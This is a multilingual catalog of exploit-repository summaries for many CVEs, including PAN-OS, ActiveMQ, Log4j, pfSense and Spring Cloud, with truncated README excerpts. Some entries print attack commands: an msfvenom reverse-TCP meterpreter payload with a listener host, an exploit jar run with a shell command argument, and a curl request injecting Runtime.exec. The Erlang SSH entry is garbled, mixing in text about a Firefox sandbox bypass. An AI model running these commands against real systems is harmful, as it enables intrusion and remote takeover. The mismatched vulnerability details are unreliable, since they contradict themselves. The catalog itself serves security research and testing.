CVE-2024-3400-

PAN-OS 방화벽 명령 삽입 취약점 이 저장소에는 Palo Alto Networks의 PAN-OS 운영 체제를 실행하는 방화벽에서 명령 삽입 취약점을 악용하는 Go 스크립트가 포함되어 있습니다. CVE-2024-3400으로 식별된 이 취약점은 인증되지 않은 공격자가 방화벽에서 루트 권한으로 임의 코드를 실행할 수 있도록 합니다. 취약점 정보 CVE-2024-3400은 GlobalProtect Gateway 및/또는 GlobalProtect Portal 기능이 구성되어 있고 장치 원격 분석이 활성화된 경우 PAN-OS 10.2...

CVE-2023-46604_ActiveMQ_RCE_Recurrence

1、进入activemq/bin，选择x64或x32，以管理员权限执行activemq.bin 访问8161端口下的admin，admin/admin 如果无法开启则需查看端口是否被占用，修改conf下的activemq.xml，我的机器MQTT端口被占用，所以进行了修改 2、在poc文件夹下开启http服务 3、使用java执行exp 交第一版的时候把自己真名提交了，于是把仓库删了重新交一版...

CVE-2021-30860

CVE-2021-30860 CVE-2021-30860 FORCEDENTRY는 MacOS, iOS 및 WatchOS의 알려진 취약점입니다. 피해 기기에 "악의적으로 조작된 PDF"를 전송하여 임의 코드 실행을 허용합니다. 이 취약점은 2021년 9월 13일 Apple에 의해 다음 버전에서 패치되었습니다: iOS 14.8 OSX Big Sur 11.6, Security Update 2021-005 Catalina WatchOS 7.6.2 그러나 2021년 2월 또는 그 이전부터 실제 환경에서 악용되어 왔습니다. 목적 MacOS 컴...

CVE-2019-0708

CVE-2019-0708 충돌 부분 BSOD은 의도적으로 제거되었습니다! 원격 데스크톱 서비스이전 명칭: 터미널 서비스에는 인증되지 않은 공격자가 RDP를 통해 대상 시스템에 연결하고 특수하게 조작된 요청을 전송할 때 원격 코드 실행 취약점이 존재합니다. 이 취약점은 인증 전pre-authentication에 발생하며 사용자 상호작용이 필요하지 않습니다. 이 취약점을 성공적으로 악용한 공격자는 대상 시스템에서 임의의 코드를 실행할 수 있습니다. 그런 다음 공격자는 프로그램을 설치하거나 데이터를 보기, 변경, 삭제하거나 전체 사...

CVE-2025-32433

CVE-2025-32433 Erlang/OTP SSH 서버의 치명적인 취약점으로 인해 인증되지 않은 원격 코드 실행RCE이 가능합니다. 이 결함은 SSH 프로토콜 메시지 처리 메커니즘에 존재하며, 공격자가 인증 자격 증명 없이 임의의 명령을 실행할 수 있게 합니다. 영향 공격자가 잠재적으로 다음을 수행할 수 있는 치명적인 심각도 취약점입니다: - 브라우저의 샌드박스 보호 우회 - 임의 코드 실행 - 시스템 무결성 손상 - 시스템 리소스에 대한 무단 액세스. 이 취약점은 특히 Windows의 Firefox를 대상으로 하며 실제...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ リモートコード実行脆弱性CVE-2023-33246 Exploit 使用方法: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" 本ツールの特徴...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA 1.7.3의 인증되지 않은 RCE 취약점을 위한 익스플로잇입니다. 이 작업은 https://devel0pment.de/?p=2494 를 기반으로 합니다. 면책 조항: 이 스크립트는 시스템의 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인 소유의 시스템 또는 익스플로잇 수행에 대한 서면 허가를 받은 시스템에서만 사용하십시오...

CVE-2022-0848-RCE

CVE-2022-0848 part-db 0.5.11 におけるリモートコード実行（RCE） bash ファイル内のホストを変更して実行すると、RCE 経由でシェルを取得できます。...

CVE-2024-46538

이 취약점을 발견한physicszq님께 감사드립니다. CVE-2024-46538 ★ CVE-2024-46538 PfSense 저장형 XSS로 인한 임의 코드 실행 PoC ★ 설명 CVE-2024-46538 : PfSense 저장형 XSS 취약점 설명: pfsense v2.5.2의 교차 사이트 스크립팅XSS 취약점으로, 공격자가 interfacesgroupsedit.php의 $pconfig 변수에 조작된 payload를 주입하여 임의의 웹 스크립트나 HTML을 실행할 수 있습니다. 실습 환경 설정 취약한 버전v2.5.2 다운로드...

CVE-2020-15227

CVE-2020-15227 면책 조항! 실제 환경에서 사용하는 것에 대한 책임을 지지 않으므로 절대 하지 마십시오. 이 도구는 단지 시연 및 시스템 관리자를 위한 테스트 용도입니다. 이 익스플로잇은 David GrudlNette 재단 설립자의 CVE 공개에 따라 제작했습니다. 보안 연구원으로서 저는 작은 괴물을 개발했습니다물론 교육 및 시연 목적이며, 윤리적 이유로 자동 수정 기능도 만들었습니다. 이 보안 취약점은 nette.micro의 callback 매개변수를 악용합니다. 왜 이런 쓰레기가 존재하는지 모르겠습니다백도어 기능...

CVE-2022-30024

CVE-2022-30024 Tplink wr841 v10 rceエクスプロイト ⚠️ 免責事項 このリポジトリのコードは、教育目的および防御的なセキュリティ研究目的に限り、現状のまま（as-is）提供されます。 自分が所有しているシステム、またはテストする明示的な許可を得ているシステムでのみ使用してください。 作者は、本ソフトウェアによって引き起こされた誤用、損害、または法的違反について一切責任を負いません。 これは概念実証（Proof of Concept）であり、本番ツールではありません。...

CVE-2022-22947

CVE-2022-22947 CVE-2022-22947 概要 Spring Cloud Gateway のリモートコード実行脆弱性（CVE-2022-22947）は、Spring Cloud Gateway アプリケーションの Actuator エンドポイントで発生し、有効、公開、安全でない状態でコードインジェクション攻撃を受けやすくなります。攻撃者はこの脆弱性を利用して、リモートホスト上で任意のリモート実行を許可するリクエストを悪意を持って作成する可能性があります。 影響を受けるバージョン root@kitploit: Spring Cloud Gateway 3.1.x 3.1....

SnatchBox

SnatchBox SnatchBox CVE-2020-27935는 macOS 10.15까지, 그리고 macOS 11.0의 초기 베타 버전에 영향을 미치는 샌드박스 이스케이프 취약점입니다. SnatchBox의 가장 중요한 영향은 악의적인 배포자가 필수 macOS App Store 샌드박스를 탈출하여 사용자의 모든 파일에 대한 완전한 접근 권한을 얻을 수 있게 하여, macOS에서 App Store의 보안 모델을 무너뜨린다는 점입니다. 취약점 macOS에서는 iOS와 달리 사용자 공간 작업이 자발적으로 샌드박스에 들어가는 사실 자체...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-概念実証 Chamilo LMS の未認証の大きなファイルアップロード機能により、リモートコード実行が可能 このコードは HACKTHEBOX CTF PERMX のために作成・使用されています Chamilo LMS v1.11.24 以下の /main/inc/lib/javascript/bigupload/inc/bigUpload.php における大きなファイルアップロード機能の未認証ファイルアップロードにより、任意のファイルをサーバーにアップロードでき、PHPリバースシェルをアップロードすることが可能です。...

CVE-2018-20250

セットアップ ビデオデモ: https://youtu.be/5tuWsi1tGS0 VirtualBox マシン: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit 実行手順 Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit: git clone...

LibSSH-exploit

LibSSH-exploit CVE-2018-10933 취약한 ssh 서버 - libssh 0.8.4 이전 RCE를 허용하는 사용자 인증 메시지를 전송합니다 사용법: ''' Libsshexploit.py '''...

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 - React2Shell React Server Components의 인증되지 않은 RCE CVE-2025-55182, 일명 React2Shell 은 React Server Components 패키지버전 19.0, 19.1.0, 19.1.1, 19.2.0에 영향을 미치는 심각한 인증되지 않은 원격 코드 실행RCE 취약점입니다. 이 취약점으로 인해 공격자는 인증 없이 단일 조작된 HTTP 요청 을 통해 취약한 서버에서 임의 코드 실행을 달성할 수 있습니다. 개요 React Server Component...

CVE-2021-44228-example

이것은 CVE-2021-44228을 악용하는 예제입니다 Log4J2 RCE 취약점 저는 이 코드에 대해 책임을 지지 않습니다. 악의적으로 사용하지 마십시오 CVE-2021-44228 : 이 취약점은 대상 머신에서 악성 메시지를 로깅함으로써 임의 코드를 실행할 수 있게 합니다. 예를 들어, Minecraft 에서 채팅 메시지를 보내는 방식으로 이를 사용할 수 있으며, 서버/플레이어 머신이 채팅 메시지를 로깅하고 여러분의 코드를 실행하게 됩니다. LiveOverflow/CVE-2021-44228 영상 메시지에는 원격 객체를 로드하...

Flowise-CVE-2026-58057-exploit

Flowise CVE-2026-58057 - Windows 원격 코드 실행 익스플로잇 -orange?style=for-the-badge !Affected V...

CVE-2022-22963-PoC

CVE-2022-22963 원격 코드 실행 개념 증명 org.springframework.cloud:spring-cloud-function-core에서 CVE-2022-22963 원격 코드 실행을 재현하기 위한 최소 예제입니다. 익스플로잇 서버 실행 root@kitploit: mvn spring-boot:run 요청 보내기 root@kitploit: curl -X POST -H 'spring.cloud.function.routing-expression: Tjava.lang.Runtime.getRuntime.exec"touch...